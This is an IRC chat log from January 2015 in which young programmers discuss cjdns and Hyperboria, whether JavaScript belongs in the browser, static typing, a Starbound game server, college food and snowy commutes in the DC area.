[2015-01-05T18:11:20-0500] <@awe> They run together.
[2015-01-05T18:11:23-0500] <+hardmath123> i might put it up on backtick then
[2015-01-05T18:11:25-0500] <+hardmath123> idk
[2015-01-05T18:11:29-0500] <+hardmath123> i wanna run it by nickolas
[2015-01-05T18:11:34-0500] <Pharyngeal> also, if you guys have VPSes, that'd be the best. You could then peer your machine with your VPS
[2015-01-05T18:11:39-0500] <@awe> backtick is a VPS.
[2015-01-05T18:11:43-0500] <Pharyngeal> awesome
[2015-01-05T18:13:11-0500] <+JacobEdelman> Pharyngeal: is it possible to make a js implementation of Hyperoboria
[2015-01-05T18:13:16-0500] <+JacobEdelman> so it can be run in browser?
[2015-01-05T18:13:50-0500] <Pharyngeal> Hyperboria is a network and cjdns is the software. cjdns wouldn't make sense in client side JS
[2015-01-05T18:14:15-0500] <+JacobEdelman> why not?
[2015-01-05T18:14:22-0500] <+hardmath123> awe: backtick is not a VPS
[2015-01-05T18:14:37-0500] <+hardmath123> awe: i've avoided the word "VPS" in connection with backtick since it started
[2015-01-05T18:14:47-0500] <@awe> JacobEdelman: because it's IP protocol level.
[2015-01-05T18:14:54-0500] <@awe> well, IP level*
[2015-01-05T18:14:56-0500] <bob_twinkles> *layer 3
[2015-01-05T18:15:08-0500] <@awe> Sure, that.
[2015-01-05T18:15:30-0500] <@awe> hardmath123: I mean, it's running on a VPS.
[2015-01-05T18:15:49-0500] <+JacobEdelman> awe: oh, that makes sense I guess
[2015-01-05T18:15:54-0500] <+JacobEdelman> awe: no wait
[2015-01-05T18:16:01-0500] <Pharyngeal> Also, I apparently need to update my machines to 13
[2015-01-05T18:16:02-0500] <+JacobEdelman> awe: I can make calls to ip's in client side js
[2015-01-05T18:16:06-0500] <+JacobEdelman> awe: so why can
[2015-01-05T18:16:08-0500] <@awe> ...
[2015-01-05T18:16:08-0500] <bob_twinkles> no
[2015-01-05T18:16:08-0500] <@awe> No.
[2015-01-05T18:16:10-0500] <bob_twinkles> ....
[2015-01-05T18:16:12-0500] <+JacobEdelman> ?
[2015-01-05T18:16:16-0500] <+hardmath123> awe: yeah, ok
[2015-01-05T18:16:21-0500] <@awe> THIS IS WHY I SAY YOU NEED TO LEARN LANGUAGES OTHER THAN JAVASCRIPT
[2015-01-05T18:16:21-0500] <+JacobEdelman> well, assuming cross domain requests are allowed I can
[2015-01-05T18:16:43-0500] <Pharyngeal> If Node can make a Tun interface, I suppose you could do that?
[2015-01-05T18:16:45-0500] <@awe> What the fuck is a "call to an IP"
[2015-01-05T18:16:48-0500] <+hardmath123> JacobEdelman: what's a call to an IP?
[2015-01-05T18:16:48-0500] <Pharyngeal> Yeah
[2015-01-05T18:16:49-0500] <bob_twinkles> yeah and all those requests occur at layer 4
[2015-01-05T18:16:54-0500] <bob_twinkles> or 5
[2015-01-05T18:16:56-0500] <bob_twinkles> or higher
[2015-01-05T18:16:59-0500] <+JacobEdelman> request to ip
[2015-01-05T18:17:02-0500] <@awe> bob_twinkles: this is why I don't use networking terminology
[2015-01-05T18:17:03-0500] <+JacobEdelman> aka
[2015-01-05T18:17:08-0500] <@awe> bob_twinkles: (that and I don't remember enough of it)
[2015-01-05T18:17:12-0500] <+JacobEdelman> just making a regular request
[2015-01-05T18:17:19-0500] <+JacobEdelman> (like when I do a GET request0
[2015-01-05T18:17:20-0500] <+JacobEdelman> )
[2015-01-05T18:17:21-0500] <+hardmath123> what's a regular request?
[2015-01-05T18:17:23-0500] <+hardmath123> that's HTTP
[2015-01-05T18:17:27-0500] <+JacobEdelman> yes
[2015-01-05T18:17:32-0500] <+hardmath123> not IP
[2015-01-05T18:17:36-0500] <+JacobEdelman> but hypotheitcally.... hmmm...
[2015-01-05T18:17:40-0500] <+JacobEdelman> I know
[2015-01-05T18:17:50-0500] <+JacobEdelman> I meant an http request to an ip address
[2015-01-05T18:17:55-0500] <+hardmath123> didn't you read my socket-science post? :P
[2015-01-05T18:18:01-0500] <+JacobEdelman> I have
[2015-01-05T18:18:04-0500] <+hardmath123> oh, ok, yeah, js can do that.
[2015-01-05T18:18:09-0500] <+hardmath123> but that's all.
[2015-01-05T18:18:12-0500] <+JacobEdelman> I mean, bit torrent has been implemented in js
[2015-01-05T18:18:16-0500] <+hardmath123> it also does websockets which is the ws protocol
[2015-01-05T18:18:16-0500] <+JacobEdelman> or at least they are working on it
[2015-01-05T18:18:19-0500] <bob_twinkles> HTTP runs on top of TCP which usually runs on top of IP which is on top of the physical layer protocol (usually Ethernet/802.11)
[2015-01-05T18:18:25-0500] <bob_twinkles> /fibre
[2015-01-05T18:18:39-0500] <+hardmath123> browsers don't let you open arbitrary sockets
[2015-01-05T18:18:45-0500] <+hardmath123> for obvious reasons
[2015-01-05T18:19:03-0500] <bob_twinkles> let alone futz with routing tables/network devices
[2015-01-05T18:19:17-0500] <@awe> Look, JacobEdelman, implementing everything in the browser is not the answer.
[2015-01-05T18:19:32-0500] <+JacobEdelman> yes, yes it is
[2015-01-05T18:19:35-0500] <+JacobEdelman> cause thats the best way
[2015-01-05T18:19:37-0500] <@awe> No, it's objectively not.
[2015-01-05T18:19:38-0500] <+hardmath123> no,  no  it isn't
[2015-01-05T18:19:43-0500] <+JacobEdelman> of getting a new technology
[2015-01-05T18:19:46-0500] <+JacobEdelman> to lay people
[2015-01-05T18:19:47-0500] <+hardmath123> browsers show you webpates
[2015-01-05T18:19:51-0500] <+hardmath123> *webpages
[2015-01-05T18:19:56-0500] <+hardmath123> that's all browsers do
[2015-01-05T18:20:05-0500] <@awe> ^.
[2015-01-05T18:20:12-0500] <bob_twinkles> unfortunatly it's not
[2015-01-05T18:20:15-0500] <bob_twinkles> but it should be
[2015-01-05T18:20:25-0500] <+JacobEdelman> 80% of my js devotion
[2015-01-05T18:20:27-0500] <+JacobEdelman> came from this
[2015-01-05T18:20:28-0500] <+JacobEdelman> https://www.destroyallsoftware.com/talks/the-birth-and-death-of-javascript
[2015-01-05T18:20:47-0500] <bob_twinkles> >destroy all software
[2015-01-05T18:20:53-0500] <+JacobEdelman> yup
[2015-01-05T18:20:54-0500] <bob_twinkles> sounds 'bout right
[2015-01-05T18:20:56-0500] <+JacobEdelman> they are cool
[2015-01-05T18:21:00-0500] <@awe> He's making a joke
[2015-01-05T18:21:04-0500] <+JacobEdelman> what, you've never seen tham
[2015-01-05T18:21:09-0500] <@awe> He's making a joke.
[2015-01-05T18:21:13-0500] <+JacobEdelman> I get it
[2015-01-05T18:21:20-0500] <+JacobEdelman> but , destroy all software is awesome
[2015-01-05T18:21:23-0500] <@awe> You know, about how your insistence on putting everything in a browser is the destruction of all software.
[2015-01-05T18:21:42-0500] <+JacobEdelman> I get the joke
[2015-01-05T18:21:45-0500] <+JacobEdelman> watch the talk
[2015-01-05T18:21:57-0500] <@awe> Watching it.
[2015-01-05T18:22:13-0500] <@awe> Yup, designed in 10 days.
[2015-01-05T18:22:14-0500] <@awe> Sounds good.
[2015-01-05T18:22:21-0500] <@awe> Let's keep using this language years later.
[2015-01-05T18:22:28-0500] <+hardmath123> he's droning about ASM
[2015-01-05T18:22:31-0500] <+hardmath123> :(
[2015-01-05T18:24:04-0500] <bob_twinkles> tbh C is basically asm I don't know what you're talking about
[2015-01-05T18:24:19-0500] <+hardmath123> asmjs
[2015-01-05T18:24:21-0500] <+hardmath123> i mean
[2015-01-05T18:24:23-0500] <+hardmath123> also
[2015-01-05T18:24:33-0500] <+hardmath123> "Digression: How computers actually work"
[2015-01-05T18:25:25-0500] <bob_twinkles> awe: tbf the B-52 was designed over a weekend with some balsa wood and drafting paper
[2015-01-05T18:26:26-0500] <bob_twinkles> and we're still flying those =D
[2015-01-05T18:27:36-0500] <+JacobEdelman> gtg
[2015-01-05T18:27:42-0500] <+JacobEdelman> tell me what you think of the talk
[2015-01-05T18:27:47-0500] <+JacobEdelman> once you've watched it
[2015-01-05T18:29:12-0500] <@awe> bob_twinkles: I trust airplane engineers more than I trust Brendan Eich.
[2015-01-05T18:30:59-0500] <bob_twinkles> true
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[2015-01-05T18:29:12-0500] <@awe> bob_twinkles: I trust airplane engineers more than I trust Brendan Eich.
[2015-01-05T18:30:59-0500] <bob_twinkles> true
[2015-01-05T18:36:05-0500] Mode is +ns
[2015-01-05T18:36:33-0500] <+JacobEdelman> I'm back
[2015-01-05T18:36:40-0500] <+JacobEdelman> any of you finished the video?
[2015-01-05T18:37:49-0500] <bob_twinkles> 12:00 in
[2015-01-05T18:38:27-0500] <@awe> I'm eating dinner and watching How I Met Your Mother.
[2015-01-05T18:38:34-0500] <@awe> Will finish video later.
[2015-01-05T18:39:36-0500] <+JacobEdelman> awe: okay
[2015-01-05T18:43:31-0500] <alokpathy> awe: I have a pressing question
[2015-01-05T18:43:37-0500] <@awe> Yeah.
[2015-01-05T18:43:38-0500] <alokpathy> awe: What do college kids eat?
[2015-01-05T18:43:46-0500] <@awe> I eat my school food, and burritos.
[2015-01-05T18:43:55-0500] <@awe> But my school's food is excellent.
[2015-01-05T18:44:18-0500] <alokpathy> Oh nice
[2015-01-05T18:45:56-0500] <+hardmath123> Can I ask a follow-up?
[2015-01-05T18:46:19-0500] <+hardmath123> What do *vegetarian* college kids eat?
[2015-01-05T18:46:54-0500] <@awe> My school has largely available vegan, vegetarian, kosher, and halal food options. 
[2015-01-05T18:47:12-0500] <@awe> Well, maybe not largely available for the latter two.
[2015-01-05T18:47:18-0500] <+hardmath123> Nice.
[2015-01-05T18:47:20-0500] <@awe> Vegetarian food is at every DC.
[2015-01-05T18:47:24-0500] <@awe> kosher is at one DC
[2015-01-05T18:47:28-0500] <@awe> halal is at one DC
[2015-01-05T18:47:39-0500] <@awe> vegan is at all of them, but specialized in one.
[2015-01-05T18:47:48-0500] <+hardmath123> Also, i'm trying to make sense of the chapter dependency graph.
[2015-01-05T18:47:53-0500] <+hardmath123> And not succeeding.
[2015-01-05T18:48:25-0500] <@awe> lol
[2015-01-05T18:48:40-0500] <@awe> I'm reading it in order.
[2015-01-05T18:51:43-0500] <Pharyngeal> awe: Can you run cjdroute --version for me?
[2015-01-05T18:52:25-0500] • hardmath123: just verified that reading it in order would not cause you to read a chapter without reading a dependant first.
[2015-01-05T18:52:36-0500] <+hardmath123> :D
[2015-01-05T18:53:01-0500] <@awe> Pharyngeal: 12
[2015-01-05T18:53:22-0500] <@awe> hardmath123: who would order a book in such a way that reading it linearly causes dependency issues?
[2015-01-05T18:53:50-0500] <Pharyngeal> awe: Pull and update
[2015-01-05T18:54:08-0500] <@awe> Doing it.
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[2015-01-05T18:55:49-0500] <Pharyngeal> Awesome. Just a note, they don't always maintain the debian/ directory, so you might want to clean the old buildfiles before running debuild again
[2015-01-05T18:55:54-0500] <+hardmath123> awe: Edward Packard.
[2015-01-05T18:56:11-0500] <@awe> Pharyngeal: best way to clean?
[2015-01-05T18:56:45-0500] <Pharyngeal> awe: If you're not running things out of cjdns/, just run git clean -f before you pull
[2015-01-05T18:57:41-0500] <@awe> Okay.
[2015-01-05T18:59:44-0500] <@awe> K, updated.
[2015-01-05T19:00:47-0500] <Pharyngeal> Awesome :)
[2015-01-05T19:03:11-0500] <@awe> And local is updated now too.
[2015-01-05T19:03:20-0500] <@awe> Oh, gotta update my irc server, too.
[2015-01-05T19:04:00-0500] <@awe> Oh, no. I already did that one, I think.
[2015-01-05T19:04:11-0500] <@awe> Yeah, I need to do my other VPS.
[2015-01-05T19:07:35-0500] <bob_twinkles> JacobEdelman: I'd go for a common VM architecture, but I'm less than convinced ASM.js is the best option
[2015-01-05T19:07:47-0500] <bob_twinkles> and I don't think anyone will put the engineering effort in to make it a reality
[2015-01-05T19:08:02-0500] <@awe> I don't think Mozilla Research is working on it much anymore.
[2015-01-05T19:08:52-0500] <bob_twinkles> and you'd need support from a company with systems experience which is basically Red Hat, whatever's left of the Solaris team at Oracle and Apple/MS
[2015-01-05T19:09:01-0500] <@awe> almost nobody
[2015-01-05T19:09:06-0500] <@awe> (whoever's left of the Solaris team)
[2015-01-05T19:09:21-0500] <bob_twinkles> I know a few guys ended up at Joylent
[2015-01-05T19:09:38-0500] <bob_twinkles> I suppose Google could do it
[2015-01-05T19:09:43-0500] <bob_twinkles> and they might actually have the motivation
[2015-01-05T19:09:48-0500] <@awe> N.
[2015-01-05T19:09:49-0500] <@awe> Dart.
[2015-01-05T19:09:54-0500] <@awe> They're investing too much energy in alternatives.
[2015-01-05T19:09:57-0500] <bob_twinkles> but that's a sh!ton of tooling
[2015-01-05T19:10:13-0500] <+hardmath123> a lot of people left joyent, right?
[2015-01-05T19:10:27-0500] <bob_twinkles> dart might be ok if they ever get it performant
[2015-01-05T19:10:31-0500] <bob_twinkles> and enable type checking by default
[2015-01-05T19:10:40-0500] <bob_twinkles> who thought optional type checking was a good idea
[2015-01-05T19:10:41-0500] <@awe> I didn't say I liked it. I just said that they're concerned about it.
[2015-01-05T19:10:52-0500] <@awe> Uhh... Facebook did, I think.
[2015-01-05T19:10:59-0500] <@awe> I think Facebook came up with the concept of optional type checking.
[2015-01-05T19:12:23-0500] <bob_twinkles> and Facebook is well known for its ability to build wonderful software >_>
[2015-01-05T19:12:45-0500] <@awe> Again: never said I liked it.
[2015-01-05T19:12:48-0500] <@awe> Just answering your question. :p
[2015-01-05T19:28:22-0500] <@awe> bob_twinkles: but yeah, I don't think they're going to disable the optional type checking thing.
[2015-01-05T19:29:22-0500] <bob_twinkles> it practically defeats the point of having types T_T
[2015-01-05T19:30:06-0500] <@awe> The idea is called gradual typing.
[2015-01-05T19:30:16-0500] <@awe> You're supposed to like... draft code without types and then add types over time.
[2015-01-05T19:30:22-0500] <@awe> Not that will ever actually happen.
[2015-01-05T19:30:27-0500] <@awe> that that*
[2015-01-05T19:30:31-0500] <bob_twinkles> @_@
[2015-01-05T19:30:39-0500] <bob_twinkles> types are my friends =(
[2015-01-05T19:31:58-0500] <@awe> I know, me too.
[2015-01-05T19:32:02-0500] <@awe> That's why the web kind of uscks.
[2015-01-05T19:32:03-0500] <@awe> sucks*
[2015-01-05T19:32:41-0500] <bob_twinkles> one day there will be a strongly typed web language that doesn't suck
[2015-01-05T19:34:12-0500] <@awe> I hope so, too.
[2015-01-05T19:34:31-0500] <@awe> Haskell is pretty awesome for backends, apparently.
[2015-01-05T19:43:19-0500] <@awe> Oh my god.
[2015-01-05T19:43:25-0500] <@awe> JacobEdelman: kernel-level javascript VM?
[2015-01-05T19:43:27-0500] <@awe> JacobEdelman: no.
[2015-01-05T19:44:55-0500] <@awe> Also, uhh... this is not unique to JS.
[2015-01-05T19:45:00-0500] <@awe> All VMs do exactly that.
[2015-01-05T19:45:09-0500] <@awe> You could say the same thing about Haskell.
[2015-01-05T19:45:20-0500] <@awe> or Java.
[2015-01-05T19:45:33-0500] <+JacobEdelman> yes, but javascript is distrubuted through web browsers
[2015-01-05T19:46:05-0500] <+JacobEdelman> so everyone can have it
[2015-01-05T19:46:12-0500] <+JacobEdelman> awe: it's the future
[2015-01-05T19:46:12-0500] <+hardmath123> you can distribute anything through a web browser
[2015-01-05T19:46:18-0500] <@awe> ^
[2015-01-05T19:46:23-0500] <+JacobEdelman> hardmath123: watch the video, than I will talk
[2015-01-05T19:46:36-0500] <@awe> The only difference is the browser just starts executing your js crap.
[2015-01-05T19:46:37-0500] <@awe> Which is bad.
[2015-01-05T19:46:39-0500] <+hardmath123> i watched parts of it
[2015-01-05T19:47:03-0500] <+hardmath123> and if you're alluding to the videogame demo
[2015-01-05T19:47:09-0500] <+hardmath123> that's just a speed demon thing
[2015-01-05T19:47:23-0500] <+hardmath123> anyone can do stuff fast
[2015-01-05T19:47:29-0500] <+hardmath123> it's harder to do stuff right
[2015-01-05T19:47:30-0500] <@awe> You don't want the ability to run arbitrary code in a browser.
[2015-01-05T19:47:33-0500] <@awe> You don't want it.
[2015-01-05T19:47:37-0500] <+hardmath123> that too
[2015-01-05T19:47:50-0500] <@awe> You want web browser code to do web browser things and NOTHING ELSE EVER.
[2015-01-05T19:48:15-0500] <bob_twinkles> you can write code fast, it's hard to write fast code
[2015-01-05T19:48:19-0500] <bob_twinkles> not quite the same thing hardmath123  =P
[2015-01-05T19:48:53-0500] <@awe> The U3 thing is honestly a testament to how fast U3 is more than it a testament to asm.
[2015-01-05T19:50:43-0500] <+JacobEdelman> hardmath123: watch the whole thing
[2015-01-05T19:50:55-0500] <@awe> I don't know why.
[2015-01-05T19:50:59-0500] <@awe> What was worth watching about this?
[2015-01-05T19:51:12-0500] <@awe> It's just this dude dreaming about how asm.js will take over the universe.
[2015-01-05T19:52:39-0500] <+JacobEdelman> nah
[2015-01-05T19:52:42-0500] <+JacobEdelman> he's a smart dude
[2015-01-05T19:52:51-0500] <+JacobEdelman> he did the "wat" video
[2015-01-05T19:53:22-0500] <+JacobEdelman> that video is why I want to port everything to the browser
[2015-01-05T19:54:51-0500] <@awe> Because of a video that someone made for humor?
[2015-01-05T19:55:17-0500] <Tamini> wait wait wat
[2015-01-05T19:55:24-0500] <Tamini> the wat video inspired you? :P
[2015-01-05T19:56:24-0500] <@awe> No, the one he linked.
[2015-01-05T19:56:27-0500] <@awe> https://www.destroyallsoftware.com/talks/the-birth-and-death-of-javascript
[2015-01-05T19:56:35-0500] <Tamini> oh, that one
[2015-01-05T19:56:48-0500] <Tamini> destroyallsoftware talks are really interesting
[2015-01-05T19:56:58-0500] <@awe> This is not one of them.
[2015-01-05T19:57:05-0500] <Tamini> heh
[2015-01-05T19:57:51-0500] <+JacobEdelman> yes
[2015-01-05T19:57:52-0500] <+JacobEdelman> it is
[2015-01-05T19:57:56-0500] <+JacobEdelman> and it is really interesting
[2015-01-05T19:58:23-0500] <@awe> No, it's not.
[2015-01-05T19:58:25-0500] <@awe> It's a PyCon talk.
[2015-01-05T19:58:43-0500] <@awe> DAS talks are not humor.
[2015-01-05T20:05:07-0500] <+JacobEdelman> it's not humor
[2015-01-05T20:05:07-0500] <+JacobEdelman> its godly wisdom
[2015-01-05T20:05:07-0500] <Tamini> that might be a bit much
[2015-01-05T20:05:16-0500] <@awe> bob_twinkles: you know a lot about networking
[2015-01-05T20:05:24-0500] <@awe> bob_twinkles: how can I work with UPnP?
[2015-01-05T20:10:25-0500] <Pharyngeal> JacobEdelman: PM?
[2015-01-05T20:10:38-0500] <+JacobEdelman> what?
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[2015-01-05T20:14:33-0500] <@awe> bob_twinkles pls
[2015-01-05T20:24:53-0500] <bob_twinkles> awe: dunno, sorry
[2015-01-05T20:24:53-0500] <The_Master> awe:starbound?
[2015-01-05T20:27:57-0500] <@awe> The_Master: yah, sure
[2015-01-05T20:28:09-0500] <@awe> bob_twinkles: dammit
[2015-01-05T20:29:09-0500] <@awe> Also, I think once I get back to school, I'm going to continue playing Starbound on my desktop as a server so that my laptop won't have to sim
[2015-01-05T20:29:36-0500] <+JacobEdelman> awe: why doesn't your gf join this irc server?
[2015-01-05T20:29:39-0500] <+JacobEdelman> it would be fun :P
[2015-01-05T20:29:57-0500] <@awe> She doesn't know how to use IRC.
[2015-01-05T20:30:15-0500] <+JacobEdelman> not a techy person
[2015-01-05T20:30:19-0500] <@awe> Correct.
[2015-01-05T20:30:20-0500] <+JacobEdelman> ?
[2015-01-05T20:30:27-0500] <+JacobEdelman> oh, okay
[2015-01-05T20:31:10-0500] <+JacobEdelman> LittleBobbyTables: you've been quiet lately
[2015-01-05T20:31:28-0500] <Pharyngeal> Ah, I remember getting my ex-gf to connect to IRC in ~2011. She never understood it.
[2015-01-05T20:32:33-0500] <@awe> Yeah, I suspect Lauren wouldn't get it either.
[2015-01-05T20:32:49-0500] <+JacobEdelman> my gf might... she has a father who's very techy
[2015-01-05T20:33:03-0500] <+JacobEdelman> so she inherited some of it
[2015-01-05T20:33:20-0500] <The_Master> gtg
[2015-01-05T20:33:26-0500] <@awe> The_Master: .-.
[2015-01-05T20:33:27-0500] <bob_twinkles> not understanding irc
[2015-01-05T20:33:29-0500] <bob_twinkles> what a weird concept
[2015-01-05T20:33:31-0500] <@awe> The_Master: "Starbound?" "Gotta go."
[2015-01-05T20:33:32-0500] <The_Master> awe: sorry
[2015-01-05T20:33:33-0500] <@awe> TWICE IN A ROW.
[2015-01-05T20:33:35-0500] <@awe> D:
[2015-01-05T20:33:40-0500] <@awe> Although it's my fault because I was busy earlier.
[2015-01-05T20:41:05-0500] <The_Master> awe:And now I am back
[2015-01-05T20:41:20-0500] <The_Master> awe:My parents have very silly rules
[2015-01-05T20:41:29-0500] <@awe> Yeah, I've noticed.
[2015-01-05T20:41:36-0500] <@awe> When you connect to my server, does it just hang black for you?
[2015-01-05T20:41:36-0500] <The_Master> awe: in starbound I am stuck in a void
[2015-01-05T20:41:39-0500] <@awe> Yeah.
[2015-01-05T20:41:40-0500] <@awe> Me too.
[2015-01-05T20:41:42-0500] <@awe> Let me restart it.
[2015-01-05T20:43:36-0500] <@awe> Should be good now.
[2015-01-05T20:44:07-0500] <The_Master> it works
[2015-01-05T20:44:20-0500] <@awe> Awesome.
[2015-01-05T20:45:14-0500] <The_Master> awe: you coming on? I can be on for ~20 minutes
[2015-01-05T20:45:26-0500] <@awe> Yah.
[2015-01-05T20:48:00-0500] <ubuntor> ooh, starbound?
[2015-01-05T20:53:59-0500] <Tamini> i kinda wanna
[2015-01-05T20:54:04-0500] <Tamini> meet jacob's girlfriend
[2015-01-05T20:54:05-0500] <Tamini> :P
[2015-01-05T20:59:25-0500] <+JacobEdelman> Tamini: move to ww-p and I'll introduc you
[2015-01-05T20:59:28-0500] <+JacobEdelman> *introduce 
[2015-01-05T20:59:33-0500] <+JacobEdelman> :P
[2015-01-05T20:59:34-0500] <Hyper> [insert joke about right hand here]
[2015-01-05T21:00:47-0500] <The_Master> gnight
[2015-01-05T21:00:49-0500] <+JacobEdelman> gnight
[2015-01-05T21:05:51-0500] <Tamini> lol
[2015-01-05T21:05:57-0500] <Tamini> you go to bed so early
[2015-01-05T21:08:19-0500] <bob_twinkles> ahaha slee
[2015-01-05T21:08:21-0500] <bob_twinkles> p
[2015-01-05T21:22:59-0500] <Tamini> bob_twinkles: how are you so tall when you dont sleep
[2015-01-05T21:24:07-0500] <bob_twinkles> I used to
[2015-01-05T21:24:17-0500] <bob_twinkles> but then I stopped
[2015-01-05T21:39:20-0500] <Tamini> darn
[2015-01-05T21:39:23-0500] <Tamini> i used to sleep a lot
[2015-01-05T21:39:26-0500] <Tamini> why am i not tall like you
[2015-01-05T21:49:26-0500] <@awe> How tall is bob_twinkles 
[2015-01-05T21:50:18-0500] <@awe> Also, I haven't slept a lot since I discovered MMOs.
[2015-01-05T21:50:27-0500] <@awe> That was when it all went downhill
[2015-01-05T21:51:52-0500] <Tamini> hes like
[2015-01-05T21:51:56-0500] <Tamini> easily over 6 feet tall
[2015-01-05T21:52:31-0500] <bob_twinkles> 6' 2" to 6' 3
[2015-01-05T21:52:42-0500] <bob_twinkles> depending on how  much I've slept and how straight I'm standing =P
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[2015-01-05T23:01:18-0500] <alokpathy> nezorg: http://nyan-mode.buildsomethingamazing.com/
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[2015-01-05T23:08:43-0500] <Tamini> alokpathy: do you have free time
[2015-01-05T23:08:44-0500] <Tamini> also LOL
[2015-01-05T23:09:16-0500] <alokpathy> Tamini: A bit
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[2015-01-05T23:18:20-0500] <nezorg> alokpathy: > implying I don't already have it
[2015-01-05T23:18:53-0500] <alokpathy> lolol
[2015-01-05T23:18:55-0500] <alokpathy> I approve :P
[2015-01-06T00:06:41-0500] <Tamini> hardmath123: uh
[2015-01-06T00:06:46-0500] <Tamini> your bot died with #study +m'd
[2015-01-06T00:07:18-0500] <@awe> Tamini: fixed
[2015-01-06T00:07:38-0500] <+hardmath123> Tamini: it didn't die, it was killed by Jacob.
[2015-01-06T00:07:47-0500] <+hardmath123> Tamini: :(
[2015-01-06T00:08:16-0500] <@awe> hardmath123: didn't it ping them bihourly?
[2015-01-06T00:09:50-0500] <+hardmath123> awe: well, i thought the arrangement was that if you don't want to be pinged, you leave the channel.
[2015-01-06T00:10:00-0500] <+hardmath123> awe: seemed like a reasonable alternative
[2015-01-06T00:10:21-0500] <@awe> I suppose.
[2015-01-06T00:10:30-0500] <@awe> I hate leaving channels.
[2015-01-06T00:10:43-0500] <@awe> Although, thankfully, I still log when I've left the channel in this client because it's logging on ZNC.
[2015-01-06T00:12:20-0500] <+hardmath123> hmm
[2015-01-06T00:12:37-0500] <+hardmath123> i don't have a valid solution that works without me having to write loads of monkey-patching code
[2015-01-06T00:12:50-0500] <+hardmath123> i can give y'all the source if you have any ideas
[2015-01-06T00:13:14-0500] <@awe> implementing a join and a leave command would be so easy for me.
[2015-01-06T00:14:21-0500] <+hardmath123> well you would have written studybot perfectly from the beginning, unlike my spaghetti-hack :)
[2015-01-06T00:15:46-0500] <+hardmath123> http://pastebin.com/cJyD6L9v have fun
[2015-01-06T00:18:55-0500] <@awe> http://sprunge.us/jZQB
[2015-01-06T00:18:57-0500] <@awe> There you go.
[2015-01-06T00:45:24-0500] <nezorg> guys with Spotify
[2015-01-06T00:45:39-0500] <nezorg> i just found the best song ever
[2015-01-06T00:45:40-0500] <nezorg> http://open.spotify.com/track/3XWZ7PNB3ei50bTPzHhqA6
[2015-01-06T00:46:28-0500] <ubuntor> lol
[2015-01-06T00:47:22-0500] <@awe> is it Snoop Dogg?
[2015-01-06T00:50:18-0500] <Tamini> oh god
[2015-01-06T00:50:31-0500] <Tamini> hardmath123: alive?
[2015-01-06T00:59:56-0500] <+LittleBobbyTables> I've been dead.
[2015-01-06T01:12:29-0500] <@awe> LittleBobbyTables: I know. I missed you, bb.
[2015-01-06T01:35:27-0500] <Tamini> where did you go man
[2015-01-06T01:39:29-0500] <ubuntor> welcome back
[2015-01-06T01:52:24-0500] <Tamini> ugh
[2015-01-06T01:52:27-0500] <Tamini> i really should be sleepijg
[2015-01-06T01:52:37-0500] <Tamini> i got distracted by math ._.
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[2015-01-06T08:56:27-0500] <jwoglom> ;_; RIP DC area https://mobile.twitter.com/srepetsk/status/552457113365405696/photo/1
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[2015-01-06T09:45:23-0500] <+JacobEdelman> jwoglom: wow
[2015-01-06T09:45:45-0500] <jwoglom> No delay for school -_-
[2015-01-06T10:02:35-0500] <+hardmath123> Tamini: can't tell if you were talking about me or my bot, but both were sleeping when you asked.
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[2015-01-06T11:29:12-0500] <@awe> JacobEdelman: is it snowing there?
[2015-01-06T11:29:17-0500] <@awe> erm
[2015-01-06T11:29:18-0500] <@awe> jwoglom: 
[2015-01-06T11:29:25-0500] <@awe> jwoglom: because it's 75 degrees and sunny heree.
[2015-01-06T11:30:18-0500] <jwoglom> awe: yes. 2-3 inches
[2015-01-06T11:30:23-0500] <@awe> o wow
[2015-01-06T11:30:25-0500] <jwoglom> Completely f'd up transit
[2015-01-06T11:30:53-0500] <jwoglom> I was on a usual 20min bus ride for an hour and a half
[2015-01-06T11:33:12-0500] <@awe> Das rough.
[2015-01-06T11:34:03-0500] <jwoglom> No schools in the area cancelled
[2015-01-06T11:34:14-0500] <jwoglom> Two TJ buses got in accidents
[2015-01-06T11:34:24-0500] <@awe> Wow
[2015-01-06T11:34:25-0500] <jwoglom> One resulted in 19 people going to the hospital, apparently
[2015-01-06T11:34:29-0500] <@awe> That's...
[2015-01-06T11:34:35-0500] <@awe> Seriously, what the fuck, the South?
[2015-01-06T11:34:38-0500] <jwoglom> Got rear ended
[2015-01-06T11:34:53-0500] <@awe> In Michigan or Minnesota, there's a foot of snow, people go to school, and nobody gets hurt.
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[2015-01-06T11:34:53-0500] <@awe> In Michigan or Minnesota, there's a foot of snow, people go to school, and nobody gets hurt.
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[2015-01-06T12:23:58-0500] <jwoglom> awe: you've obviously never seen DC area drivers
[2015-01-06T12:24:02-0500] <@awe> I have.
[2015-01-06T12:24:04-0500] <@awe> They're horrible.
[2015-01-06T12:24:06-0500] <@awe> I know.
[2015-01-06T12:24:29-0500] <@awe> My sister lives near DC and I drive up and down the coast regularly.
[2015-01-06T12:48:02-0500] <@awe> https://github.com/tejasmanohar/npm-algos
[2015-01-06T12:48:03-0500] <@awe> This is so dumb.
[2015-01-06T12:48:33-0500] <@awe> "Implementing Computer Science Concepts" 
[2015-01-06T12:48:44-0500] <@awe> As if you can write code that isn't somehow implementing a computer science concept.
[2015-01-06T12:49:03-0500] <@awe> And then why on earth does anyone need a list of implementations of RANDOM things on GitHub?
[2015-01-06T12:49:13-0500] <@awe> You can just search for what you actually need instead.
[2015-01-06T13:11:33-0500] <Hyper> awe: why so grumpy?
[2015-01-06T13:11:52-0500] <Hyper> The wonderful thing about the internet is that you can choose not to see things if you don't like them
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[2015-01-06T12:49:12-0500] <@awe> You can just search for what you actually need instead.
[2015-01-06T13:11:32-0500] <Hyper> awe: why so grumpy?
[2015-01-06T13:11:51-0500] <Hyper> The wonderful thing about the internet is that you can choose not to see things if you don't like them
[2015-01-06T13:13:24-0500] <+JacobEdelman> awe, jwoglom : places that don't get as much snow tend to have way more problems when they do get it
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[2015-01-06T13:13:51-0500] <jwoglom> JacobEdelman: indeed although we do get some snow
[2015-01-06T13:13:59-0500] <jwoglom> We just shut down when we get it
[2015-01-06T13:14:07-0500] <+JacobEdelman> yeah, but not as much as us northerners
[2015-01-06T13:14:25-0500] <+JacobEdelman>  /sarcasm (nj is not in the north)
[2015-01-06T13:14:32-0500] <+JacobEdelman> wait
[2015-01-06T13:14:37-0500] <+JacobEdelman> uhh...
[2015-01-06T13:14:38-0500] <+JacobEdelman> nvm
[2015-01-06T13:14:42-0500] <@awe> Hyper: I'm aware I can not see it. I just think it's dumb.
[2015-01-06T13:14:51-0500] <@awe> Hyper: and the kid is asking for donations because he copy+pasta'd links.
[2015-01-06T13:15:50-0500] <+JacobEdelman> awe: it's a nice list but yeah... asking for donations is just ridiciolous
[2015-01-06T13:16:00-0500] <@awe> Also, it has 300 stars.
